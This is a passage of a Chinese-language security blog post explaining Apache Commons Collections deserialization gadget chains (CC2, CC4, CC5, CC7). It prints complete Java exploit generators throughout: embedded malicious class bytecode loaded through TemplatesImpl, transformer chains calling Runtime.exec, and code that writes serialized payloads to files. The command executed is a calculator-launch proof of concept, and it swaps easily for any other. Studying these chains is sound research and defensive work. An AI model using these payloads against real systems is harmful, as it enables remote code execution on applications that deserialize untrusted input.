,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36&#125;;
        byte[][] bytecodes = &#123;testClassBytes&#125;;
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"wa1ki0g");
        Field bytec = c.getDeclaredField("_bytecodes");
        bytec.setAccessible(true);
        bytec.set(templates,bytecodes);
        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]&#123;Templates.class&#125;, new Object[]&#123;templates&#125;)
        &#125;;

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class cd = transformingComparator.getClass();
        Field field = cd.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);








    &#125;
&#125;

我们再来分析一下,这个exp,首先前半段都是我们之前讲过的,就是通过字节码去执行命令,这里主要说一下两个主意的点

1是为什么要 priorityQueue.add(); 这是因为在调用heapify()时,会首先对size进行一个右移的操作:

只要size大于等于2的时候,再会调用到siftDown:

2就是我们为什么要反射修改transformingComparator的transformer属性为ChainedTransformer,而不是直接去赋值,这是因为priorityQueue.add方法最终也会调用到compare方法,这样我们的exp在本地也会直接执行,为了避免这种情况所以就先给他赋一个没用的值,这样在调用add方法的时候就不会去执行我们的exp了,最后在给他反射修改回来:




cc2

cc2和cc4呢其实区别也不是很大,最后的rce的方式也都是一样的。区别在哪呢,之前我们说过TemplatesImpl.newTransformer是可以直接进行rce的,cc2就是通过 InvokerTransformer直接去调用TemplatesImpl.newTransformer,不走InstantiateTransformer和TrAXFilter了:

简单写个exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CCtwo &#123;
    public static void main(String[] args) throws Exception&#123;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] testClassBytes =new byte[]&#123;-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36&#125;;
        byte[][] bytecodes = &#123;testClassBytes&#125;;
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"wa1ki0g");
        Field bytec = c.getDeclaredField("_bytecodes");
        bytec.setAccessible(true);
        bytec.set(templates,bytecodes);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]&#123;&#125;,new Object[]&#123;&#125;);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Class cd = transformingComparator.getClass();
        Field field = cd.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);

    &#125;

    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
        oos.writeObject(input);

    &#125;

&#125;

是可以执行命令的:

cc5

CC5是对CC3.1版本的利用

这条链子和我们写过的cc1-2那条,极其相似。只是入口点不一样,cc1-2用的是AnnotationInvocationHandler.invoke调用的 LazyMap.get。cc5这里用的是TiedMapEntry.toString调用的 LazyMap.get。然后我们将TiedMapEntry类再传给BadAttributeValueExpException类的val属性即可。
只有这一点区别:


TiedMapEntry.toString:

BadAttributeValueExpException.readObject:

这里的val变量是私有变量,并且通过构造函数是传不进我们想要的,他这个构造函数是会先判断是不是为空,如果不是,那么会调用toString方法并返回结果:

对于这种问题我们直接反射修改就好了,最后exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class ccfive &#123;

    public static void main(String[] args) throws Exception&#123;

        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]&#123;String.class, Class[].class&#125;, new Object[]&#123;"getRuntime", null&#125;),
                new InvokerTransformer("invoke", new Class[]&#123;Object.class, Object[].class&#125;, new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec", new Class[]&#123;String.class&#125;, new Object[]&#123;"open /System/Applications/Calculator.app "&#125;)
        &#125;;
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map a = new HashMap();
        Map<Object,Object> lazyMap = LazyMap.decorate(a,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"wa1ki0g");



        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        Class c = badAttributeValueExpException.getClass();

        Field field = c.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);

    &#125;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
        oos.writeObject(input);

    &#125;
&#125;

可以成功执行命令的:

cc7

先放一下调用栈:


这条链子和我们写过的cc1-2那条,也极其相似。同样也只是入口点不一样,cc1-2用的是AnnotationInvocationHandler.invoke调用的 LazyMap.get。cc7这里用的是AbstractMap.equals调用的LazyMap.get:

AbstractMap.equals,这里的m是可控的:

HashTable.reconstitutionPut 这里的key也是可控的:


HashTable.readObject中调用了reconstitutionPut:

其实到这里,我们的exp就可以写出来了,但是这里有几个问题要说一下。

1.我们在HashTable.readObject中是有条件判断的,就是说如果我们的HashTable没有一对键值,那么我们是走不到那个循环里的,就会导致我们调用不到reconstitutionPut

2.如果我们单单put了一次,就算进到了reconstitutionPut里面,也是进不到如下这个循环导致调用不到equals的,因为此时的tab[]是空的。所以我们起码要执行reconstitutionPut两次,才可以以进入到循环里面,也就是说我们要HashTable.put两次

3.此时,就算我们HashTable.put了两次以后,实际上也是调用不到equals的,这是因为对两组键的hash值进行了判断,要求相等。所以我们还要put进去的两组值的hash值一样:

但是在java中有这样的一个bug可以帮我们解决问题:

"yy".hashCode() == "zZ".hashCode()

都满足以后,下一步会开始调用LazyMap的equals方法,但是LazyMap中是没有equals方法的,但是它的父类AbstractMapDecorator有equals方法,所以就会去调用它的父类AbstractMapDecorator的equals方法:

此时我们传入一个HashMap,但是HashMap并没有equals方法,但是HashMap继承了AbstractMap,AbstractMap类中有一个equals方法,此时就会去调用AbstractMap.equals最终调用到get:

4.我们在put完以后,要lazyMap2.remove(“yy”),这是因为当调用完equals方法后,lazyMap2的key中就会增加一个yy键:


此时lazyMap1和lazyMap2中的元素个数不一样,那么在这里会直接返回false,所以我们要通过lazyMap2.remove(“yy”) 解决掉这个问题:

最终exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CCseven &#123;
    public static void main(String[] args) throws Exception&#123;
        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]&#123;String.class, Class[].class&#125;, new Object[]&#123;"getRuntime", null&#125;),
                new InvokerTransformer("invoke", new Class[]&#123;Object.class, Object[].class&#125;, new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec", new Class[]&#123;String.class&#125;, new Object[]&#123;"open /System/Applications/Calculator.app "&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Transformer[] fakeTransformer = new Transformer[]&#123;&#125;;
        Transformer chainedTransformer1 = new ChainedTransformer(fakeTransformer);

        Map lazyMap1 = LazyMap.decorate(hashMap1,chainedTransformer1);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(hashMap2,chainedTransformer1);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "wa1ki0g");
        hashtable.put(lazyMap2, "wa1ki0g");
        lazyMap2.remove("yy");



        Class c =LazyMap.class;
        Field field = c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap1,chainedTransformer);
        field.set(lazyMap2,chainedTransformer);


        serialize(hashtable);



    &#125;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
        oos.writeObject(input);

    &#125;
&#125;

文章作者: wa1ki0g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wa1ki0g !
  目录